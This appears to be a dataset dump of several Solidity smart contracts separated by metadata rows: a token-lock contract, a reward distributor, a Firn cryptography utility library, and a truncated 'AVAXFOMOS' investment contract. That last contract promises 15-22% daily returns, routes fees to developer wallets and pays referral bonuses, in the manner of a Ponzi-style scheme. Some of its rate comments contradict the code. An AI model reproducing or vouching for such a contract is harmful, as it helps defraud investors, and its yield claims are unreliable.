address public waultMarkingAddress;
event Withdraw(address withdrawer, uint256 amount);
constructor(address _waultMarkingAddress) {
waultMarkingAddress = _waultMarkingAddress;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
require(_token.transferFrom(msg.sender, address(this), _amount), 'Transfer of tokens failed!');
uint256 tax = _amount.mul(taxPermille).div(1000);
require(_token.transfer(waultMarkingAddress, tax), 'Taxing failed!');
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount.sub(tax));
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount.sub(tax);
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
lockedToken[_id].taxPermille = taxPermille;
lockedToken[_id].isCustom = false;
lockedToken[_id].deposited = true;
depositsByWithdrawerAddress[_withdrawer].push(_id);
depositsByTokenAddress[address(_token)].push(_id);
}
function addCustomLock(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp, uint256 _taxPermille) external onlyOwner returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
lockedToken[_id].taxPermille = _taxPermille;
lockedToken[_id].isCustom = true;
lockedToken[_id].deposited = false;
}
function customLockTokens(uint256 _id) external {
require(lockedToken[_id].isCustom, 'This is not a custom lock!');
require(!lockedToken[_id].deposited, 'Tokens already locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(lockedToken[_id].token.allowance(msg.sender, address(this)) >= lockedToken[_id].amount, 'Approve tokens first!');
require(lockedToken[_id].token.transferFrom(msg.sender, address(this), lockedToken[_id].amount), 'Transfer of tokens failed!');
uint256 tax = lockedToken[_id].amount.mul(lockedToken[_id].taxPermille).div(1000);
require(lockedToken[_id].token.transfer(waultMarkingAddress, tax), 'Taxing failed!');
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].add(lockedToken[_id].amount.sub(tax));
lockedToken[_id].amount = lockedToken[_id].amount.sub(tax);
lockedToken[_id].deposited = true;
depositsByWithdrawerAddress[lockedToken[_id].withdrawer].push(_id);
depositsByTokenAddress[address(lockedToken[_id].token)].push(_id);
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(lockedToken[_id].deposited, 'Tokens are not yet deposited!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
require(lockedToken[_id].token.transfer(msg.sender, lockedToken[_id].amount), 'Transfer of tokens failed!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
for(uint256 i=0; i<depositsByWithdrawerAddress[lockedToken[_id].withdrawer].length; i++) {
if(depositsByWithdrawerAddress[lockedToken[_id].withdrawer][i] == _id) {
depositsByWithdrawerAddress[lockedToken[_id].withdrawer][i] = depositsByWithdrawerAddress[lockedToken[_id].withdrawer][depositsByWithdrawerAddress[lockedToken[_id].withdrawer].length - 1];
depositsByWithdrawerAddress[lockedToken[_id].withdrawer].pop();
break;
}
}
emit Withdraw(msg.sender, lockedToken[_id].amount);
}
function setWaultMarkingAddress(address _waultMarkingAddress) external onlyOwner {
waultMarkingAddress = _waultMarkingAddress;
}
function getDepositsByWithdrawerAddress(address _withdrawerAddress) view external returns (uint256[] memory) {
return depositsByWithdrawerAddress[_withdrawerAddress];
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
}
| 256,399 | 12,002 |
82c134faa62e6cc1540385f634cefc0ae8576be77e2f8e7b1b8e93b56f8cd98c
| 17,687 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/64/64b78e95600658bf8e83a392d3cd5a6ccb3cdc28_Distributor.sol
| 3,884 | 15,358 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable BULLOX;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _bullox, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_bullox != address(0));
BULLOX = _bullox;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(BULLOX).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 324,121 | 12,003 |
a723e8f21426d8991d78129df753cc45c75e768df41d593acd45cfd87333f5e2
| 12,597 |
.sol
|
Solidity
| false |
523518718
|
firnprotocol/contracts
|
86b76b0434f65c8146b9468aba266fe8a9d48c29
|
Utils.sol
| 4,635 | 12,538 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.17;
uint256 constant n = 4;
uint256 constant N = 1 << n;
uint256 constant m = 5;
uint256 constant M = 1 << m;
library Utils {
uint256 constant GROUP_ORDER = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
uint256 constant FIELD_ORDER = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47;
uint256 constant PPLUS1DIV4 = 0x0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52;
function add(uint256 x, uint256 y) internal pure returns (uint256) {
return addmod(x, y, GROUP_ORDER);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256) {
return mulmod(x, y, GROUP_ORDER);
}
function inv(uint256 x) internal view returns (uint256) {
return exp(x, GROUP_ORDER - 2);
}
function mod(uint256 x) internal pure returns (uint256) {
return x % GROUP_ORDER;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
return x >= y ? x - y : GROUP_ORDER - y + x;
}
function neg(uint256 x) internal pure returns (uint256) {
return GROUP_ORDER - x;
}
function exp(uint256 base, uint256 exponent) internal view returns (uint256 output) {
uint256 order = GROUP_ORDER;
assembly {
let location := mload(0x40)
mstore(location, 0x20)
mstore(add(location, 0x20), 0x20)
mstore(add(location, 0x40), 0x20)
mstore(add(location, 0x60), base)
mstore(add(location, 0x80), exponent)
mstore(add(location, 0xa0), order)
if iszero(staticcall(gas(), 0x05, location, 0xc0, location, 0x20)) {
revert(0, 0)
}
output := mload(location)
}
}
function fieldExp(uint256 base, uint256 exponent) internal view returns (uint256 output) { // warning: mod p, not q
uint256 order = FIELD_ORDER;
assembly {
let location := mload(0x40)
mstore(location, 0x20)
mstore(add(location, 0x20), 0x20)
mstore(add(location, 0x40), 0x20)
mstore(add(location, 0x60), base)
mstore(add(location, 0x80), exponent)
mstore(add(location, 0xa0), order)
if iszero(staticcall(gas(), 0x05, location, 0xc0, location, 0x20)) {
revert(0, 0)
}
output := mload(location)
}
}
struct Point {
bytes32 x;
bytes32 y;
}
function add(Point memory p1, Point memory p2) internal view returns (Point memory r) {
assembly {
let location := mload(0x40)
mstore(location, mload(p1))
mstore(add(location, 0x20), mload(add(p1, 0x20)))
mstore(add(location, 0x40), mload(p2))
mstore(add(location, 0x60), mload(add(p2, 0x20)))
if iszero(staticcall(gas(), 0x06, location, 0x80, r, 0x40)) {
revert(0, 0)
}
}
}
function mul(Point memory p, uint256 s) internal view returns (Point memory r) {
assembly {
let location := mload(0x40)
mstore(location, mload(p))
mstore(add(location, 0x20), mload(add(p, 0x20)))
mstore(add(location, 0x40), s)
if iszero(staticcall(gas(), 0x07, location, 0x60, r, 0x40)) {
revert(0, 0)
}
}
}
function neg(Point memory p) internal pure returns (Point memory) {
return Point(p.x, bytes32(FIELD_ORDER - uint256(p.y))); // p.y should already be reduced mod P?
}
function eq(Point memory p1, Point memory p2) internal pure returns (bool) {
return p1.x == p2.x && p1.y == p2.y;
}
function decompress(bytes32 input) internal view returns (Point memory) {
if (input == 0x00) return Point(0x00, 0x00);
uint256 x = uint256(input);
uint256 sign = (x & 0x8000000000000000000000000000000000000000000000000000000000000000) >> 255;
x &= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 ySquared = fieldExp(x, 3) + 3;
uint256 y = fieldExp(ySquared, PPLUS1DIV4);
Point memory result = Point(bytes32(x), bytes32(y));
if (sign != y & 0x01) return neg(result);
return result;
}
function compress(Point memory input) internal pure returns (bytes32) {
uint256 result = uint256(input.x);
if (uint256(input.y) & 0x01 == 0x01) result |= 0x8000000000000000000000000000000000000000000000000000000000000000;
return bytes32(result);
}
function mapInto(uint256 seed) internal view returns (Point memory) {
uint256 y;
while (true) {
uint256 ySquared = fieldExp(seed, 3) + 3; // addmod instead of add: waste of gas, plus function overhead cost
y = fieldExp(ySquared, PPLUS1DIV4);
if (fieldExp(y, 2) == ySquared) {
break;
}
seed += 1;
}
return Point(bytes32(seed), bytes32(y));
}
function mapInto(string memory input) internal view returns (Point memory) {
return mapInto(uint256(keccak256(abi.encodePacked(input))) % FIELD_ORDER);
}
function mapInto(string memory input, uint256 i) internal view returns (Point memory) {
return mapInto(uint256(keccak256(abi.encodePacked(input, i))) % FIELD_ORDER);
}
function slice(bytes memory input, uint256 start) internal pure returns (bytes32 result) {
assembly {
result := mload(add(add(input, 0x20), start))
}
}
struct Statement {
Point[N] Y;
Point[N] CLn;
Point[N] CRn;
Point[N] C;
Point D;
uint256 epoch;
Point u;
uint256 fee;
}
struct DepositProof {
Point A;
Point B;
Point[n] C_XG;
Point[n] y_XG;
uint256[n] f;
uint256 z_A;
uint256 c;
uint256 s_r;
}
function deserializeDeposit(bytes memory arr) internal view returns (DepositProof memory proof) {
proof.A = decompress(slice(arr, 0));
proof.B = decompress(slice(arr, 32));
for (uint256 k = 0; k < n; k++) {
proof.C_XG[k] = decompress(slice(arr, 64 + k * 32));
proof.y_XG[k] = decompress(slice(arr, 64 + (k + n) * 32));
proof.f[k] = uint256(slice(arr, 64 + n * 64 + k * 32));
}
uint256 starting = n * 96;
proof.z_A = uint256(slice(arr, 64 + starting));
proof.c = uint256(slice(arr, 96 + starting));
proof.s_r = uint256(slice(arr, 128 + starting));
return proof;
}
struct TransferProof {
Point BA;
Point BS;
Point A;
Point B;
Point[n] CLnG;
Point[n] CRnG;
Point[n] C_0G;
Point[n] DG;
Point[n] y_0G;
Point[n] gG;
Point[n] C_XG;
Point[n] y_XG;
uint256[n][2] f;
uint256 z_A;
Point T_1;
Point T_2;
uint256 tHat;
uint256 mu;
uint256 c;
uint256 s_sk;
uint256 s_r;
uint256 s_b;
uint256 s_tau;
InnerProductProof ip;
}
function deserializeTransfer(bytes memory arr) internal view returns (TransferProof memory proof) {
proof.BA = decompress(slice(arr, 0));
proof.BS = decompress(slice(arr, 32));
proof.A = decompress(slice(arr, 64));
proof.B = decompress(slice(arr, 96));
for (uint256 k = 0; k < n; k++) {
proof.CLnG[k] = decompress(slice(arr, 128 + k * 32));
proof.CRnG[k] = decompress(slice(arr, 128 + (k + n) * 32));
proof.C_0G[k] = decompress(slice(arr, 128 + n * 64 + k * 32));
proof.DG[k] = decompress(slice(arr, 128 + n * 96 + k * 32));
proof.y_0G[k] = decompress(slice(arr, 128 + n * 128 + k * 32));
proof.gG[k] = decompress(slice(arr, 128 + n * 160 + k * 32));
proof.C_XG[k] = decompress(slice(arr, 128 + n * 192 + k * 32));
proof.y_XG[k] = decompress(slice(arr, 128 + n * 224 + k * 32));
proof.f[0][k] = uint256(slice(arr, 128 + n * 256 + k * 32));
proof.f[1][k] = uint256(slice(arr, 128 + n * 288 + k * 32));
}
uint256 starting = n * 320;
proof.z_A = uint256(slice(arr, 128 + starting));
proof.T_1 = decompress(slice(arr, 160 + starting));
proof.T_2 = decompress(slice(arr, 192 + starting));
proof.tHat = uint256(slice(arr, 224 + starting));
proof.mu = uint256(slice(arr, 256 + starting));
proof.c = uint256(slice(arr, 288 + starting));
proof.s_sk = uint256(slice(arr, 320 + starting));
proof.s_r = uint256(slice(arr, 352 + starting));
proof.s_b = uint256(slice(arr, 384 + starting));
proof.s_tau = uint256(slice(arr, 416 + starting));
for (uint256 i = 0; i < m + 1; i++) {
proof.ip.L[i] = decompress(slice(arr, 448 + starting + i * 32));
proof.ip.R[i] = decompress(slice(arr, 448 + starting + (i + m + 1) * 32));
}
proof.ip.a = uint256(slice(arr, 448 + starting + (m + 1) * 64));
proof.ip.b = uint256(slice(arr, 480 + starting + (m + 1) * 64));
return proof;
}
struct WithdrawalProof {
Point BA;
Point BS;
Point A;
Point B;
Point[n] CLnG;
Point[n] CRnG;
Point[n] y_0G;
Point[n] gG;
Point[n] C_XG;
Point[n] y_XG;
uint256[n] f;
uint256 z_A;
Point T_1;
Point T_2;
uint256 tHat;
uint256 mu;
uint256 c;
uint256 s_sk;
uint256 s_r;
uint256 s_b;
uint256 s_tau;
InnerProductProof ip;
}
function deserializeWithdrawal(bytes memory arr) internal view returns (WithdrawalProof memory proof) {
proof.BA = decompress(slice(arr, 0));
proof.BS = decompress(slice(arr, 32));
proof.A = decompress(slice(arr, 64));
proof.B = decompress(slice(arr, 96));
for (uint256 k = 0; k < n; k++) {
proof.CLnG[k] = decompress(slice(arr, 128 + k * 32));
proof.CRnG[k] = decompress(slice(arr, 128 + (k + n) * 32));
proof.y_0G[k] = decompress(slice(arr, 128 + n * 64 + k * 32));
proof.gG[k] = decompress(slice(arr, 128 + n * 96 + k * 32));
proof.C_XG[k] = decompress(slice(arr, 128 + n * 128 + k * 32));
proof.y_XG[k] = decompress(slice(arr, 128 + n * 160 + k * 32));
proof.f[k] = uint256(slice(arr, 128 + n * 192 + k * 32));
}
uint256 starting = n * 224;
proof.z_A = uint256(slice(arr, 128 + starting));
proof.T_1 = decompress(slice(arr, 160 + starting));
proof.T_2 = decompress(slice(arr, 192 + starting));
proof.tHat = uint256(slice(arr, 224 + starting));
proof.mu = uint256(slice(arr, 256 + starting));
proof.c = uint256(slice(arr, 288 + starting));
proof.s_sk = uint256(slice(arr, 320 + starting));
proof.s_r = uint256(slice(arr, 352 + starting));
proof.s_b = uint256(slice(arr, 384 + starting));
proof.s_tau = uint256(slice(arr, 416 + starting));
for (uint256 i = 0; i < m; i++) { // will leave the `m`th element empty
proof.ip.L[i] = decompress(slice(arr, 448 + starting + i * 32));
proof.ip.R[i] = decompress(slice(arr, 448 + starting + (i + m) * 32));
}
proof.ip.a = uint256(slice(arr, 448 + starting + m * 64));
proof.ip.b = uint256(slice(arr, 480 + starting + m * 64));
return proof;
}
struct InnerProductStatement {
uint256 salt;
Point[M << 1] hs; // "overridden" parameters.
Point u;
Point P;
}
struct InnerProductProof {
Point[m + 1] L;
Point[m + 1] R;
uint256 a;
uint256 b;
}
function assemblePolynomials(uint256[n][2] memory f) internal pure returns (uint256[N] memory result) {
// f is a 2m-by-2 array... containing the f's and x - f's, twice (i.e., concatenated).
// output contains two "rows", each of length N.
result[0] = 1;
for (uint256 k = 0; k < n; k++) {
for (uint256 i = 0; i < N; i += 1 << n - k) {
result[i + (1 << n - 1 - k)] = mul(result[i], f[1][n - 1 - k]);
result[i] = mul(result[i], f[0][n - 1 - k]);
}
}
}
}
| 265,098 | 12,004 |
4ffc1162b049f8c68777323630c4da4850e3ef2a8b1193104e55e5bd00588723
| 15,272 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0a/0a5cee15a0caf58859f97fb8d5977c41554009e7_AVAXFOMOS.sol
| 4,551 | 14,499 |
pragma solidity 0.5.8;
contract AVAXFOMOS {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.01 ether; // 0.01 AVAX
//uint256[] public REFERRAL_PERCENTS = [20, 15,7,3,2];
//Contract_promotion
uint256 constant public Contract_promotion = 60;
uint256 constant public DEVELOPER_FEE = 40;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 constant public FORCE_WITHDRAW_PENALTY = 200; // 20%
uint256 constant public MAX_NFT_AIRDROP_PLAN_4 = 10;
uint256 constant public MAX_NFT_AIRDROP_PLAN_5 = 50;
uint256 constant public MAX_NFT_AIRDROP_PLAN_6 = 100;
uint256 constant public NFT_BOXES_STEP = 1000 ether; //1000 MATIC
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
uint256 availableBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 150)); // 15% per day for 14 days
plans.push(Plan(21, 130)); // 13% per day for 21 days
plans.push(Plan(28, 115)); // 6% per day for 28 days
plans.push(Plan(14, 222)); // 20.2% per day for 14 days (at the end)
plans.push(Plan(21, 196)); // 19.6% per day for 21 days (at the end)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 5, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(Contract_promotion).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
if((users[upline].referrals) <= 7){
uint256 amount = value.mul(20).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}else if((users[upline].referrals)<=30){
uint256 amount = value.mul(30).div(PERCENTS_DIVIDER);
